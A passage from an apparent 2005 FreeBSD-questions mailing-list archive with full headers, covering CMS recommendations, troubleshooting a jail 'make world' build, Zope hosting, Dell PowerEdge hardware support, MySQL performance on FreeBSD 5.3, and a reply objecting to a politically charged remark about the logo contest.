2.0 with (among others) mod_perl2, (perl > >> 5.8.6) and Jakarta Tomcat 5.0. > ... > I'm not generally keen on large Perl and PHP suites, even though I've > written some myself. Probably just my own phobias. There's another > well-featured CMS I've read about -- but haven't played with -- called > Bricolage. It's in Perl IIRC. As a one-time php developer I'm fond of phpWebSite by Appalachian State University. Lots of features, works great on apache 1.3x or 2 and has an API for module creation. I've spent hours looking at CMS's testing them and as far as I know this is one of the easiest to implement and control, with the features I was looking for (calendar, wysiwyg editor, fine grained user control, extensibility, etc.) My other reccomendation would be Typo3 CMS, but its a behemoth of a program (script). It DOES everything, but its fairly intense to set up and get going. Its also a php script, and it does have some excellent tutorials and a fairly active user support base. Just my 2 cents, -Thomas From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 23:10:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0D33C16A4CE for ; Wed, 9 Feb 2005 23:10:48 +0000 (GMT) Received: from sccmmhc91.asp.att.net (sccmmhc91.asp.att.net [204.127.203.211]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5215343D1D for ; Wed, 9 Feb 2005 23:10:47 +0000 (GMT) (envelope-from josh@tcbug.org) Received: from twinmp (12-218-40-24.client.mchsi.com[12.218.40.24]) by sccmmhc91.asp.att.net (sccmmhc91) with ESMTP id <20050209231046m9100ov3ode>; Wed, 9 Feb 2005 23:10:46 +0000 From: Josh Paetzel To: pete wright Date: Wed, 9 Feb 2005 17:10:44 -0600 User-Agent: KMail/1.7 References: <200502091412.06282.josh@tcbug.org> <57d7100005020912321f10b163@mail.gmail.com> In-Reply-To: <57d7100005020912321f10b163@mail.gmail.com> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502091710.44929.josh@tcbug.org> cc: questions@freebsd.org Subject: Re: jail manpage X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 23:10:48 -0000 On Wednesday 09 February 2005 14:32, pete wright wrote: > On Wed, 9 Feb 2005 14:12:06 -0600, Josh Paetzel wrote: > > I've been trying get jails working on my 5.3-RELEASE-p2 machine. > > I've tried following the instructions in man 8 jail > > > > D=/here/is/the/jail > > cd /usr/src > > mkdir -p $D > > make world DESTDIR=$D > > cd etc > > make distribution DESTDIR=$D > > mount_devfs devfs $D/dev > > cd $D > > ln -sf dev/null kernel > > > > It dies at make world DESTDIR=$D with the following error: > > > > cc -0 -pipe -I/usr/obj/usr/src/i386/legacy/usr/include > > c/usr/src/games/fortune/strfile/strfile.c > > > > make: don't know how to make /jail/test/usr/lib/libc.a. Stop > > ***Error code 2 > > Stopping /usr/src > > couple things, I have this process scripted pretty much the same > way you have mentioned here with no problems. have you cvsup'd > your source tree recenetly...also are you able to do a normal > buildworld? > I'm running 5.3-RELEASE-p2 but just for kicks I rm -rf'd /usr/src and /usr/obj and did: cvsup to RELENG_5_3 make buildworld make KERNCONF=MYKERNEL buildkernel make KERNCONF=MYKERNEL installkernel reboot make installworld reboot Now I'm running 5.3-RELEASE-p5 Trying the steps outlined in man 8 jail gives me the exact same error that I started with. > > Surprisingly I found a post to -questions that has the exact same > > error using the same commands that I did. The thread never does > > make clear as to whether the poster got it working. > > > > 57d710000501131800788ec662@mail.gmail.com > > this link does not work.... http://www.freebsd.org/cgi/getmsg.cgi?fetch=2806914+2810640+/usr/local/www/db/text/2005/freebsd-questions/20050116.freebsd-questions Sorry about that. > > > =pete -- Thanks, Josh Paetzel From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 23:20:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A8CE816A4D1 for ; Wed, 9 Feb 2005 23:20:33 +0000 (GMT) Received: from smtphost.cis.strath.ac.uk (smtphost.cis.strath.ac.uk [130.159.196.96]) by mx1.FreeBSD.org (Postfix) with ESMTP id BD89643D3F for ; Wed, 9 Feb 2005 23:20:32 +0000 (GMT) (envelope-from chodgins@cis.strath.ac.uk) Received: from [192.168.0.4] (chrishodgins.force9.co.uk [84.92.20.141]) j19NKJ5L025559; Wed, 9 Feb 2005 23:20:19 GMT Message-ID: <420A9BD5.1090205@cis.strath.ac.uk> Date: Wed, 09 Feb 2005 23:25:09 +0000 From: Chris Hodgins User-Agent: Mozilla Thunderbird 1.0 (X11/20050204) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jay References: <20050208230206.GA88486@keyslapper.net> <20050209171513.GA18088@keyslapper.net> <86sm45jvce.fsf@PECTOPAH.shenton.org> <20050209215600.GF18088@keyslapper.net> <20050209225523.GD47217@mail.meangrape.com> In-Reply-To: <20050209225523.GD47217@mail.meangrape.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-CIS-MailScanner-Information: Please contact support@cis.strath.ac.uk for more information X-CIS-MailScanner: Found to be clean X-CIS-MailScanner-SpamCheck: not spam, SpamAssassin (score=0, required 6) X-CIS-MailScanner-From: chodgins@cis.strath.ac.uk cc: FreeBSD Questions Subject: Re: maybe slightly OT - web content management kits X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 23:20:33 -0000 Jay wrote: > On Wed, Feb 09, 2005 at 04:56:01PM -0500, Louis LeBlanc wrote: > >>On 02/09/05 04:07 PM, Chris Shenton sat at the `puter and typed: >> >>>Louis LeBlanc writes: >> >>Hmm. Plone didn't exactly rise to the top at opensourcecms.org, but >>since you saw fit to plug it, I'll give it a chance. > > Plone is very, very nice. > > >>I'm not familiar with Zope at all. Isn't it an Apache *alternative*? > > Yes and no. Zope serves up all of its content. It's quite common to > run Apache in front of it, though -- that way you can use all of your > Apache modules. > > Since a Zope site is totally dynamic, it usually makes sense to run some > kind of caching server in front of it. Some people use Apache because > that's what they're familiar with/have installed/etc, etc. If you're > not going to use any of Apache's features, squid is generally better for > that. > > If you're interested, send me an email off-list, and I'll make you an > account on my Plone site so you can dink around and see what it's like. > I am in the process of looking at zope for a base to a couple of websites I will be creating. One of the sites will be providing services to around 500+ users. Being quite unfamiliar of the development side of zope (I have used plone as a user but that is about it) I was wondering if anyone had any ideas what is the best way to go about hosting something like that. Is virtual/co-/dedicated hosting the way to go? Is one server enough? I have looked into a package called zeo as well that provides a horizontally scalable solution for zope so I am hoping to be able to add servers as required should the load increase. Any help would be much appreciated. :) Chris From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 23:21:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3201E16A4CE for ; Wed, 9 Feb 2005 23:21:02 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.207]) by mx1.FreeBSD.org (Postfix) with ESMTP id C385143D55 for ; Wed, 9 Feb 2005 23:21:01 +0000 (GMT) (envelope-from nomadlogic@gmail.com) Received: by rproxy.gmail.com with SMTP id c51so27750rne for ; Wed, 09 Feb 2005 15:20:31 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=nGZupmYRK0vqBuUVC/k6O6AA1uMoxsus/R43PXPwFoDyeocAdNV3eS6pJTUmPuUGA9pUfMaPcJhlFrIZvJdnS400sMTYSF+X8HeMre7UX58YnSHJc7nv4taFsD5jmPPV/hZCzPtPDEWWGV+69fv19cb+aVfWFBm3HYhQABlk9jw= Received: by 10.38.181.13 with SMTP id d13mr13794rnf; Wed, 09 Feb 2005 15:20:31 -0800 (PST) Received: by 10.38.14.51 with HTTP; Wed, 9 Feb 2005 15:20:31 -0800 (PST) Message-ID: <57d71000050209152035bde613@mail.gmail.com> Date: Wed, 9 Feb 2005 15:20:31 -0800 From: pete wright To: Josh Paetzel In-Reply-To: <200502091710.44929.josh@tcbug.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502091412.06282.josh@tcbug.org> <57d7100005020912321f10b163@mail.gmail.com> <200502091710.44929.josh@tcbug.org> cc: questions@freebsd.org Subject: Re: jail manpage X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: pete wright List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 23:21:02 -0000 > > I'm running 5.3-RELEASE-p2 but just for kicks I rm -rf'd /usr/src > and /usr/obj and did: gerneally cvsup'ing /usr/src is enough (don't want to stress the cvsup servers too much if you can avoid it) > > cvsup to RELENG_5_3 > > make buildworld > make KERNCONF=MYKERNEL buildkernel > make KERNCONF=MYKERNEL installkernel > reboot > make installworld > reboot missed a step, did you mergemaster -p and mergemaster? > > Now I'm running 5.3-RELEASE-p5 > > Trying the steps outlined in man 8 jail gives me the exact same error > that I started with. > i'm runnig my buildjail script right now to make sure things are still ok...if i find i problem i'll post back to list... > > this link does not work.... > >http://www.freebsd.org/cgi/getmsg.cgi?fetch=2806914+2810640+/usr/local/www/db/text/2005/freebsd-questions/20050116.freebsd-questions heh thanks thought i've remembered this issue before... > > Sorry about that. > NP -p -- ~~o0OO0o~~ Pete Wright www.nycbug.org NYC's *BSD User Group From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 23:28:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 294B116A4CE; Wed, 9 Feb 2005 23:28:45 +0000 (GMT) Received: from zeus.acuson.com (ac17860.acuson.com [157.226.71.80]) by mx1.FreeBSD.org (Postfix) with ESMTP id AAAE043D46; Wed, 9 Feb 2005 23:28:44 +0000 (GMT) (envelope-from DavidJohnson@Siemens.com) Received: from mvaexch01.acuson.com ([157.226.230.208]:2864) by zeus.acuson.com with esmtp (Exim 4.30) id 1Cz1Ap-0000ss-4c; Wed, 09 Feb 2005 15:23:07 -0800 Received: by mvaexch01.acuson.com with Internet Mail Service (5.5.2657.72) id ; Wed, 9 Feb 2005 15:14:43 -0800 Message-ID: <9C4E897FB284BF4DBC9C0DC42FB34617641AD5@mvaexch01.acuson.com> From: Johnson David To: 'stheg olloydson' , freebsd-advocacy@freebsd.org, freebsd-questions@freebsd.org Date: Wed, 9 Feb 2005 13:41:29 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain; charset="iso-8859-1" X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: RE: SPAM: Score 2.5: Re: FreeBSD logo design competition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 23:28:45 -0000 From: stheg olloydson [mailto:stheg_olloydson@yahoo.com] > > Now as to the "need" to change the logo, to quote the announcement, > "This character sometimes treated with misinterpreted in the > religious and cultural context." Over the years, the only complaints I > have ever heard have come from America's Taliban. Leaving aside the > question of whether or not the complainers are in a position to make > any sort of IT decision, one must ask what is their motivation for > complaining. They are simply trying to force their religious orthodoxy > on others. These are the same people trying to eliminate the barrier > between state and church to make the United States into a theocratic > country. Therefore, these complaints can be categorized as coming from > an irrational minority that should be ignored. Please keep your personal politics and cultural bigotry off of these lists. There is no "America's Taliban", and the use of the term is used solely to incite emotions. Thinking that just because people share you views on operating systems they must also share you views on religion and foreign policy is sheer hubris. I realize that geeks and hackers tend to be irreligious, and Open Source a collection of global communities, but not until today have I seen such anti-Christian and anti-America bigotry in the FreeBSD community. Is this to be the new standard of discourse? If so, tell me now so I can avoid the rush in switching to another BSD. As a Christian I am not in the least offended by Beastie. But I am getting quite offended by people stereotyping my religion, nation and culture. David Johnson From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 23:41:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EC37516A4CE for ; Wed, 9 Feb 2005 23:41:29 +0000 (GMT) Received: from quark.cs.earlham.edu (cs.earlham.edu [159.28.230.3]) by mx1.FreeBSD.org (Postfix) with ESMTP id 75FD343D49 for ; Wed, 9 Feb 2005 23:41:29 +0000 (GMT) (envelope-from skylar@cs.earlham.edu) Received: from quark.cs.earlham.edu (localhost.cs.earlham.edu [127.0.0.1]) by quark.cs.earlham.edu (8.13.1/8.12.9) with ESMTP id j19NfSe4077010 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 9 Feb 2005 18:41:28 -0500 (EST) (envelope-from skylar@cs.earlham.edu) Received: (from skylar@localhost) by quark.cs.earlham.edu (8.13.1/8.12.9/Submit) id j19NfSFV077009 for freebsd-questions@freebsd.org; Wed, 9 Feb 2005 18:41:28 -0500 (EST) (envelope-from skylar@cs.earlham.edu) X-Authentication-Warning: quark.cs.earlham.edu: skylar set sender to skylar@quark.cs.earlham.edu using -f Date: Wed, 9 Feb 2005 18:41:28 -0500 From: Skylar Thompson To: freebsd-questions@freebsd.org Message-ID: <20050209234128.GA76946@quark.cs.earlham.edu> Mail-Followup-To: freebsd-questions@freebsd.org References: <20050208000054.GE14202@asu.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="sm4nu43k4a2Rpi4c" Content-Disposition: inline In-Reply-To: <20050208000054.GE14202@asu.edu> User-Agent: Mutt/1.4.2.1i X-Sender: "Skylar Thompson" X-Accept-Primary-Language: en X-Accept-Secondary-Language: es SMTP-Mailing-Host: quark.cs.earlham.edu X-Operating-System: FreeBSD 4.11-STABLE X-Uptime: 6:40PM up 5 days, 11:57, 18 users, load averages: 0.21, 0.25, 0.31 X-Editor: VIM - Vi IMproved 6.3 (2004 June 7, compiled Aug 26 2004 10:37:04) Subject: Re: dell poweredge servers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Skylar Thompson List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 23:41:30 -0000 --sm4nu43k4a2Rpi4c Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Feb 07, 2005 at 05:00:54PM -0700, David Bear wrote: > I was looking at the support hardware list for Fbsd 5.x and could find > no mention of the PERC3-DI scsi controller.. so I was wondering if > anyone has used a dell poweredge 2650, and what your experience was > running Freebsd 4.X and 5.x on it. We're running a PE2650 with a PERC 3/Di and it works beautifully. I would highly recommend the system for FreeBSD. --=20 -- Skylar Thompson (skylar@cs.earlham.edu) -- http://www.cs.earlham.edu/~skylar/ --sm4nu43k4a2Rpi4c Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (FreeBSD) iD8DBQFCCp+osc4yyULgN4YRAnJJAJ9O0dL+ECC17gWYoRP5ZHKeUSQQYgCfRXSg atjosqjqjYRszWCLT8Vr8MI= =ky0u -----END PGP SIGNATURE----- --sm4nu43k4a2Rpi4c-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 23:41:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BECD116A4CE for ; Wed, 9 Feb 2005 23:41:40 +0000 (GMT) Received: from sccmmhc92.asp.att.net (sccmmhc92.asp.att.net [204.127.203.212]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6A68E43D2D for ; Wed, 9 Feb 2005 23:41:40 +0000 (GMT) (envelope-from josh@tcbug.org) Received: from twinmp (12-218-40-24.client.mchsi.com[12.218.40.24]) by sccmmhc92.asp.att.net (sccmmhc92) with ESMTP id <20050209234139m9200bh8uue>; Wed, 9 Feb 2005 23:41:39 +0000 From: Josh Paetzel To: pete wright Date: Wed, 9 Feb 2005 17:41:37 -0600 User-Agent: KMail/1.7 References: <200502091412.06282.josh@tcbug.org> <200502091710.44929.josh@tcbug.org> <57d71000050209152035bde613@mail.gmail.com> In-Reply-To: <57d71000050209152035bde613@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502091741.37831.josh@tcbug.org> cc: questions@freebsd.org Subject: Re: jail manpage X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 23:41:40 -0000 On Wednesday 09 February 2005 17:20, pete wright wrote: > > I'm running 5.3-RELEASE-p2 but just for kicks I rm -rf'd /usr/src > > and /usr/obj and did: > > gerneally cvsup'ing /usr/src is enough (don't want to stress the > cvsup servers too much if you can avoid it) It's my own private cvsup server...I don't think I'll mind. ;) > > cvsup to RELENG_5_3 > > > > make buildworld > > make KERNCONF=MYKERNEL buildkernel > > make KERNCONF=MYKERNEL installkernel > > reboot > > make installworld > > reboot > > missed a step, did you mergemaster -p and mergemaster? > No...I have no use for mergemaster, it's bit me in the ass a few too many times. If there are any changes needed I merge them in by hand. > > Now I'm running 5.3-RELEASE-p5 > > > > Trying the steps outlined in man 8 jail gives me the exact same > > error that I started with. > > i'm runnig my buildjail script right now to make sure things are > still ok...if i find i problem i'll post back to list... > > > > this link does not work.... > > > >http://www.freebsd.org/cgi/getmsg.cgi?fetch=2806914+2810640+/usr/l > >ocal/www/db/text/2005/freebsd-questions/20050116.freebsd-questions > > heh thanks thought i've remembered this issue before... > > > Sorry about that. > > NP > > -p -- Thanks, Josh Paetzel From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 00:25:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1D7DC16A4CE for ; Thu, 10 Feb 2005 00:25:29 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.203]) by mx1.FreeBSD.org (Postfix) with ESMTP id B2D3B43D1D for ; Thu, 10 Feb 2005 00:25:28 +0000 (GMT) (envelope-from nomadlogic@gmail.com) Received: by rproxy.gmail.com with SMTP id c51so34171rne for ; Wed, 09 Feb 2005 16:25:28 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=KN2jIFtLjCEWnlEvtjGWEDiWl28BqgaNdKn1td6SH80THFN4nBSE++a8DV4izEZ7sMZ03PRxY/+Ak4KFXhhsVL7E4NWBzhql3y6eZTJu3rsIuPAbckEUnjCmnv+buTLgQqi9/55B645WLPktuz1Qyhp4M3ZNVcFkmxtYR2zBUE8= Received: by 10.38.79.25 with SMTP id c25mr35907rnb; Wed, 09 Feb 2005 16:25:28 -0800 (PST) Received: by 10.38.14.51 with HTTP; Wed, 9 Feb 2005 16:25:28 -0800 (PST) Message-ID: <57d71000050209162523faec9d@mail.gmail.com> Date: Wed, 9 Feb 2005 16:25:28 -0800 From: pete wright To: Josh Paetzel In-Reply-To: <200502091741.37831.josh@tcbug.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502091412.06282.josh@tcbug.org> <200502091710.44929.josh@tcbug.org> <57d71000050209152035bde613@mail.gmail.com> <200502091741.37831.josh@tcbug.org> cc: questions@freebsd.org Subject: Re: jail manpage X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: pete wright List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 00:25:29 -0000 > > i'm runnig my buildjail script right now to make sure things are > > still ok...if i find i problem i'll post back to list... > > ok I just ran a: $ sudo make -j2 world DESTDIR=/usr/local/jails/dev/ on a 5.3-STABLE box with no problems. not really sure what is going wrong here...i assume there are no tweaks to your /etc/make.conf file (does not look like you are even using -O2 which may cause problems.) -p -- ~~o0OO0o~~ Pete Wright www.nycbug.org NYC's *BSD User Group From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 00:45:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E53DB16A4CE; Thu, 10 Feb 2005 00:45:54 +0000 (GMT) Received: from knight.ixsystems.net (afg.ixsystems.net [206.40.55.73]) by mx1.FreeBSD.org (Postfix) with ESMTP id BAF3C43D31; Thu, 10 Feb 2005 00:45:54 +0000 (GMT) (envelope-from matto@knight.ixsystems.net) Received: from knight.ixsystems.net (localhost [127.0.0.1]) by knight.ixsystems.net (8.12.10/8.11.6) with ESMTP id j1A0M3U5035267; Wed, 9 Feb 2005 16:22:03 -0800 (PST) (envelope-from matto@knight.ixsystems.net) Received: (from matto@localhost) by knight.ixsystems.net (8.12.10/8.12.9/Submit) id j1A0M3Co035266; Wed, 9 Feb 2005 16:22:03 -0800 (PST) (envelope-from matto) Date: Wed, 9 Feb 2005 16:22:02 -0800 From: Matt Olander To: freebsd-questions@freebsd.org Message-ID: <20050209162202.I31921@knight.ixsystems.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i cc: freebsd-advocacy@freebsd.org Subject: FreeBSD 5.3 MySQL Performance X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 00:45:55 -0000 hey gang, We've got a customer that is considering a network expansion while moving from Linux to FreeBSD. They are big users of MySQL and have been running it on Linux. Most of the information that I've found is a bit old, but I guess my question is if LinuxThreads should still be used or if MySQL works well under FreeBSD using native threads. The customer has looked at Jeremy's blog article on this issue, but this is pretty old: http://jeremy.zawodny.com/blog/archives/000697.html Also, does anybody have any FreeBSD 5.3/MySQL benchmarks? I searched the mailing lists but didn't turn up anything. The customer is looking for some kind of validation that he'll be safe running his database on FreeBSD. thanks, -matt -- Matt Olander (408)943-4100 Phone (408)943-4101 Fax www.offmyserver.com -- "Those who don't read have no advantage over those who can't" -Mark Twain From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 01:04:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DFA2E16A4CE; Thu, 10 Feb 2005 01:04:29 +0000 (GMT) Received: from pilchuck.reedmedia.net (pilchuck.reedmedia.net [209.166.74.74]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7549B43D39; Thu, 10 Feb 2005 01:04:25 +0000 (GMT) (envelope-from reed@reedmedia.net) Received: from reed by pilchuck.reedmedia.net with local-esmtp (Exim 3.12 #1 (Debian)) id 1Cz2kl-0005aK-00; Wed, 09 Feb 2005 17:04:19 -0800 Date: Wed, 9 Feb 2005 17:04:19 -0800 (PST) From: "Jeremy C. Reed" To: Matt Olander In-Reply-To: <20050209162202.I31921@knight.ixsystems.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD 5.3 MySQL Performance X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 01:04:30 -0000 On Wed, 9 Feb 2005, Matt Olander wrote: > Also, does anybody have any FreeBSD 5.3/MySQL benchmarks? I searched the > mailing lists but didn't turn up anything. This was posted to some NetBSD lists today: http://software.newsforge.com/article.pl?sid=04/12/27/1243207&from=rss This "Comparing MySQL performance" article includes FreeBSD 5.3 (linuxthreads and KSE), FreeBSD 4.11 (linuxthreads), OpenBSD 3.6, NetBSD 2.0, Solaris 10, Linux 2.4 and 2.6 (Gentoo) Jeremy C. Reed BSD News, BSD tutorials, BSD links http://www.bsdnewsletter.com/ From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 01:07:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 654C816A4CE; Thu, 10 Feb 2005 01:07:52 +0000 (GMT) Received: from knight.ixsystems.net (afg.ixsystems.net [206.40.55.73]) by mx1.FreeBSD.org (Postfix) with ESMTP id 37DDC43D2F; Thu, 10 Feb 2005 01:07:52 +0000 (GMT) (envelope-from matto@knight.ixsystems.net) Received: from knight.ixsystems.net (localhost [127.0.0.1]) by knight.ixsystems.net (8.12.10/8.11.6) with ESMTP id j1A0i0U5035492; Wed, 9 Feb 2005 16:44:00 -0800 (PST) (envelope-from matto@knight.ixsystems.net) Received: (from matto@localhost) by knight.ixsystems.net (8.12.10/8.12.9/Submit) id j1A0i0je035491; Wed, 9 Feb 2005 16:44:00 -0800 (PST) (envelope-from matto) Date: Wed, 9 Feb 2005 16:44:00 -0800 From: Matt Olander To: freebsd-advocacy@freebsd.org Message-ID: <20050209164359.J31921@knight.ixsystems.net> References: <20050209162202.I31921@knight.ixsystems.net> <20050210005856.GC818@thened.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20050210005856.GC818@thened.net>; from alec@thened.net on Wed, Feb 09, 2005 at 07:58:56PM -0500 cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD 5.3 MySQL Performance X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 01:07:52 -0000 On Wed, Feb 09, 2005 at 07:58:56PM -0500, Alec Berryman wrote: > > Also, does anybody have any FreeBSD 5.3/MySQL benchmarks? I searched > > the mailing lists but didn't turn up anything. > > There was an article posted to Newsforge today about benchmarking > MySQL on different operating systems. oh! thanks...but according to this article, Linux outperformed FreeBSD in every metric shown :-( is that accurate? > > The customer is looking for some kind of validation that he'll be > > safe running his database on FreeBSD. > > I don't usually look at benchmarks when wondering if my databases are > 'safe'. Perhaps you misunderstood or I fired that email off to quickly. In addition to benchmarks, he's also looking for anything to show that he won't be a pioneer in using large MySQL databases on FreeBSD. In other words, I'd love to point this customer to FreeBSD if it makes sense for them. any help appreciated! thanks! -matt -- Matt Olander (408)943-4100 Phone (408)943-4101 Fax www.offmyserver.com -- "Those who don't read have no advantage over those who can't" -Mark Twain From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 01:09:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 271EE16A4D1 for ; Thu, 10 Feb 2005 01:09:15 +0000 (GMT) Received: from hub.org (hub.org [200.46.204.220]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4EA9D43D31 for ; Thu, 10 Feb 2005 01:09:14 +0000 (GMT) (envelope-from scrappy@hub.org) Received: from localhost (unknown [200.46.204.144]) by hub.org (Postfix) with ESMTP id 222CF12B13E; Wed, 9 Feb 2005 21:09:09 -0400 (AST) Received: from hub.org ([200.46.204.220]) by localhost (av.hub.org [200.46.204.144]) (amavisd-new, port 10024) with ESMTP id 57560-06; Thu, 10 Feb 2005 01:09:09 +0000 (GMT) Received: from ganymede.hub.org (blk-224-186-245.eastlink.ca [24.224.186.245]) by hub.org (Postfix) with ESMTP id F128C12B13D; Wed, 9 Feb 2005 21:09:07 -0400 (AST) Received: by ganymede.hub.org (Postfix, from userid 1000) id 314D33B5DD; Wed, 9 Feb 2005 21:09:12 -0400 (AST) Received: from localhost (localhost [127.0.0.1]) by ganymede.hub.org (Postfix) with ESMTP id 2D89A3A495; Wed, 9 Feb 2005 21:09:12 -0400 (AST) Date: Wed, 9 Feb 2005 21:09:12 -0400 (AST) From: "Marc G. Fournier" To: "Loren M. Lang" In-Reply-To: <20050209104047.GN8619@alzatex.com> Message-ID: <20050209210602.X94338@ganymede.hub.org> References: <20050208231208.B94338@ganymede.hub.org> <20050209002232.B94338@ganymede.hub.org> <20050209022929.D94338@ganymede.hub.org> <20050209104047.GN8619@alzatex.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by amavisd-new at hub.org cc: Dan Nelson cc: freebsd-questions@freebsd.org Subject: 99% CPU usage in System (Was: Re: vinum in 